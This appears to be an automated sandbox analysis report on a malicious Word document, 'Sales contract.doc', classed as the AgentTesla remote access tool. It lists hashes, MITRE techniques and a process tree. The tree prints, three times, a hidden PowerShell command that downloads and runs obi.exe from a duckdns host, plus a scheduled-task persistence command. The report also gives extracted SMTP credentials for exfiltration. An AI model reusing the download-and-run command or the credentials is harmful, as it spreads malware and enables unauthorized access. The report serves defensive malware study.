Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    21-04-2021 21:34

General

  • Target

    Sales contract.doc

  • Size

    295KB

  • MD5

    452e11d23c80550a45b6a498bac85733

  • SHA1

    1b1355594eecbfad9803e771bedefedf96ecceee

  • SHA256

    8ac32b7faa79aabd51156f6503e624a53ee5d355d602784273376ad45e7dbdbf

  • SHA512

    fcf7955fe9b6e84e6361a2e0beca3bce9a64d7f413c8629a877e37da016144c4c886ecbf0d61586233aecb15f9215ac0378fc5349ed127465904658af1a3f3a5

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

httP://katchobinnas.duckdns.org/obi.exe

Extracted

Family

agenttesla

Credentials

  • Protocol:
    smtp
  • Host:
    us2.smtp.mailhostbox.com
  • Port:
    587
  • Username:
    zhoubing.wu.zeruimetal@pppkglobal.net
  • Password:
    Thanks202#

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Sales contract.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://katchobinnas.duckdns.org/obi.exe','C:\Users\Admin\AppData\Roaming\obi.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\obi.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Users\Admin\AppData\Roaming\obi.exe
        "C:\Users\Admin\AppData\Roaming\obi.exe"
        3⤵
        • Executes dropped EXE
        PID:1608
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://katchobinnas.duckdns.org/obi.exe','C:\Users\Admin\AppData\Roaming\obi.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\obi.exe'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Users\Admin\AppData\Roaming\obi.exe
        "C:\Users\Admin\AppData\Roaming\obi.exe"
        3⤵
        • Executes dropped EXE
        PID:332
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://katchobinnas.duckdns.org/obi.exe','C:\Users\Admin\AppData\Roaming\obi.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\obi.exe'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:884
      • C:\Users\Admin\AppData\Roaming\obi.exe
        "C:\Users\Admin\AppData\Roaming\obi.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:316
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\zgKTFV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2D48.tmp"
          4⤵
          • Creates scheduled task(s)
          PID:1936
        • C:\Users\Admin\AppData\Roaming\obi.exe
          "{path}"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1648
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1928

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
      MD5

      02ff38ac870de39782aeee04d7b48231

      SHA1

      0390d39fa216c9b0ecdb38238304e518fb2b5095

      SHA256

      fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

      SHA512

      24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
      MD5

      75a8da7754349b38d64c87c938545b1b

      SHA1

      5c28c257d51f1c1587e29164cc03ea880c21b417

      SHA256

      bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

      SHA512

      798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
      MD5

      be4d72095faf84233ac17b94744f7084

      SHA1

      cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

      SHA256

      b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

      SHA512

      43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
      MD5

      df44874327d79bd75e4264cb8dc01811

      SHA1

      1396b06debed65ea93c24998d244edebd3c0209d

      SHA256

      55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

      SHA512

      95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
      MD5

      597009ea0430a463753e0f5b1d1a249e

      SHA1

      4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

      SHA256

      3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

      SHA512

      5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
      MD5

      5e3c7184a75d42dda1a83606a45001d8

      SHA1

      94ca15637721d88f30eb4b6220b805c5be0360ed

      SHA256

      8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

      SHA512

      fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
      MD5

      a725bb9fafcf91f3c6b7861a2bde6db2

      SHA1

      8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

      SHA256

      51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

      SHA512

      1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
      MD5

      b6d38f250ccc9003dd70efd3b778117f

      SHA1

      d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

      SHA256

      4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

      SHA512

      67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      1259c23ab3885864ec657ffac670ba3e

      SHA1

      dae8a47d268c8368ad0c64d0136c355d720ba301

      SHA256

      0e5b186e44cc3a865ca105803d48f2d74334b903ca5adbc3d873350e20af7cc2

      SHA512

      fca25f4948efbba213fff846c4998afd1cab82247d393368df2aea59fce18c774f1b6384ca42521a00d4ecbce403db3eb4d8e45f6ea84df3e06b1b549d255312

    • C:\Users\Admin\AppData\Local\Temp\tmp2D48.tmp
      MD5

      5cc2531038aa3e7baf437dcde1b780c9

      SHA1

      c2e98a6ac440ae6742a9b52eddb7de5d6b112d3d

      SHA256

      9b1c256da0b8f2fed93a31f68c3ec1d26109f8424c383575ba616520970f244e

      SHA512

      2836e456c5940f9876081de59a2fcca1a64581c251b2afa94a123fe7f555ffb9656837f4c59676e2e17c3c9eb7a537e80986af7dade5886e47ba34bc029fb9f4

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      MD5

      67093e1250caf5607e4dafe2ae97a303

      SHA1

      0d180cfc8a52990f803034d7c2a98ac77037d87f

      SHA256

      5bf7104574db624c00bc13fb989115c718a280acd591ff1c2d47ee59908b4cbb

      SHA512

      23f2ab73f4e120bc04e6449f87403a796fb2f14ad216e757d6b85152f02d08a4914471e99be507d6a3628d203f1e23adfeaae5329706c5152a0d445762a591e5

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      MD5

      67093e1250caf5607e4dafe2ae97a303

      SHA1

      0d180cfc8a52990f803034d7c2a98ac77037d87f

      SHA256

      5bf7104574db624c00bc13fb989115c718a280acd591ff1c2d47ee59908b4cbb

      SHA512

      23f2ab73f4e120bc04e6449f87403a796fb2f14ad216e757d6b85152f02d08a4914471e99be507d6a3628d203f1e23adfeaae5329706c5152a0d445762a591e5

    • C:\Users\Admin\AppData\Roaming\obi.exe
      MD5

      42d9d2204bfed1a7df45d3bd2849e8e0

      SHA1

      1520264685fa9dc507a3d0263bb76babfab0caff

      SHA256

      bda6d3b18fa97de048056b1b52ae6873b7b1cd2742b16282ec1e6e0d23b65a3d

      SHA512

      13aa318f3a268f2dec4fa526ba9d59211d8c2640ccbaf834730d4ea38ea57ff9a93ffa43e514c824b78b1ab47746fa55f6241c60e47b5b527fa8163d7adcd335

    • C:\Users\Admin\AppData\Roaming\obi.exe
      MD5

      42d9d2204bfed1a7df45d3bd2849e8e0

      SHA1

      1520264685fa9dc507a3d0263bb76babfab0caff

      SHA256

      bda6d3b18fa97de048056b1b52ae6873b7b1cd2742b16282ec1e6e0d23b65a3d

      SHA512

      13aa318f3a268f2dec4fa526ba9d59211d8c2640ccbaf834730d4ea38ea57ff9a93ffa43e514c824b78b1ab47746fa55f6241c60e47b5b527fa8163d7adcd335

    • C:\Users\Admin\AppData\Roaming\obi.exe
      MD5

      42d9d2204bfed1a7df45d3bd2849e8e0

      SHA1

      1520264685fa9dc507a3d0263bb76babfab0caff

      SHA256

      bda6d3b18fa97de048056b1b52ae6873b7b1cd2742b16282ec1e6e0d23b65a3d

      SHA512

      13aa318f3a268f2dec4fa526ba9d59211d8c2640ccbaf834730d4ea38ea57ff9a93ffa43e514c824b78b1ab47746fa55f6241c60e47b5b527fa8163d7adcd335

    • C:\Users\Admin\AppData\Roaming\obi.exe
      MD5

      42d9d2204bfed1a7df45d3bd2849e8e0

      SHA1

      1520264685fa9dc507a3d0263bb76babfab0caff

      SHA256

      bda6d3b18fa97de048056b1b52ae6873b7b1cd2742b16282ec1e6e0d23b65a3d

      SHA512

      13aa318f3a268f2dec4fa526ba9d59211d8c2640ccbaf834730d4ea38ea57ff9a93ffa43e514c824b78b1ab47746fa55f6241c60e47b5b527fa8163d7adcd335

    • C:\Users\Admin\AppData\Roaming\obi.exe
      MD5

      42d9d2204bfed1a7df45d3bd2849e8e0

      SHA1

      1520264685fa9dc507a3d0263bb76babfab0caff

      SHA256

      bda6d3b18fa97de048056b1b52ae6873b7b1cd2742b16282ec1e6e0d23b65a3d

      SHA512

      13aa318f3a268f2dec4fa526ba9d59211d8c2640ccbaf834730d4ea38ea57ff9a93ffa43e514c824b78b1ab47746fa55f6241c60e47b5b527fa8163d7adcd335

    • \Users\Admin\AppData\Roaming\obi.exe
      MD5

      42d9d2204bfed1a7df45d3bd2849e8e0

      SHA1

      1520264685fa9dc507a3d0263bb76babfab0caff

      SHA256

      bda6d3b18fa97de048056b1b52ae6873b7b1cd2742b16282ec1e6e0d23b65a3d

      SHA512

      13aa318f3a268f2dec4fa526ba9d59211d8c2640ccbaf834730d4ea38ea57ff9a93ffa43e514c824b78b1ab47746fa55f6241c60e47b5b527fa8163d7adcd335

    • memory/316-135-0x00000000047E0000-0x00000000047E1000-memory.dmp
      Filesize

      4KB

    • memory/316-145-0x00000000050C0000-0x000000000513F000-memory.dmp
      Filesize

      508KB

    • memory/316-142-0x0000000005880000-0x0000000005943000-memory.dmp
      Filesize

      780KB

    • memory/316-127-0x0000000000000000-mapping.dmp
    • memory/332-136-0x0000000004B40000-0x0000000004B41000-memory.dmp
      Filesize

      4KB

    • memory/332-128-0x0000000000000000-mapping.dmp
    • memory/772-61-0x0000000070701000-0x0000000070703000-memory.dmp
      Filesize

      8KB

    • memory/772-60-0x0000000072C81000-0x0000000072C84000-memory.dmp
      Filesize

      12KB

    • memory/772-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/884-106-0x0000000004B62000-0x0000000004B63000-memory.dmp
      Filesize

      4KB

    • memory/884-105-0x0000000004B60000-0x0000000004B61000-memory.dmp
      Filesize

      4KB

    • memory/884-90-0x0000000000000000-mapping.dmp
    • memory/1500-78-0x0000000005750000-0x0000000005751000-memory.dmp
      Filesize

      4KB

    • memory/1500-87-0x00000000062C0000-0x00000000062C1000-memory.dmp
      Filesize

      4KB

    • memory/1500-66-0x0000000004A00000-0x0000000004A01000-memory.dmp
      Filesize

      4KB

    • memory/1500-65-0x0000000001E00000-0x0000000001E01000-memory.dmp
      Filesize

      4KB

    • memory/1500-68-0x00000000049C0000-0x00000000049C1000-memory.dmp
      Filesize

      4KB

    • memory/1500-89-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/1500-64-0x0000000075EF1000-0x0000000075EF3000-memory.dmp
      Filesize

      8KB

    • memory/1500-63-0x0000000000000000-mapping.dmp
    • memory/1500-67-0x00000000026D0000-0x00000000026D1000-memory.dmp
      Filesize

      4KB

    • memory/1500-86-0x0000000006280000-0x0000000006281000-memory.dmp
      Filesize

      4KB

    • memory/1500-79-0x00000000057F0000-0x00000000057F1000-memory.dmp
      Filesize

      4KB

    • memory/1500-69-0x00000000049C2000-0x00000000049C3000-memory.dmp
      Filesize

      4KB

    • memory/1500-70-0x0000000004950000-0x0000000004951000-memory.dmp
      Filesize

      4KB

    • memory/1500-73-0x00000000056C0000-0x00000000056C1000-memory.dmp
      Filesize

      4KB

    • memory/1568-88-0x0000000000000000-mapping.dmp
    • memory/1568-125-0x00000000062E0000-0x00000000062E1000-memory.dmp
      Filesize

      4KB

    • memory/1568-103-0x00000000049A0000-0x00000000049A1000-memory.dmp
      Filesize

      4KB

    • memory/1568-104-0x00000000049A2000-0x00000000049A3000-memory.dmp
      Filesize

      4KB

    • memory/1608-122-0x0000000000010000-0x0000000000011000-memory.dmp
      Filesize

      4KB

    • memory/1608-137-0x00000000005C0000-0x00000000005CE000-memory.dmp
      Filesize

      56KB

    • memory/1608-124-0x0000000004E50000-0x0000000004E51000-memory.dmp
      Filesize

      4KB

    • memory/1608-119-0x0000000000000000-mapping.dmp
    • memory/1648-150-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1648-151-0x000000000043761E-mapping.dmp
    • memory/1648-153-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1648-155-0x0000000004D90000-0x0000000004D91000-memory.dmp
      Filesize

      4KB

    • memory/1928-141-0x000007FEFC181000-0x000007FEFC183000-memory.dmp
      Filesize

      8KB

    • memory/1928-140-0x0000000000000000-mapping.dmp
    • memory/1936-148-0x0000000000000000-mapping.dmp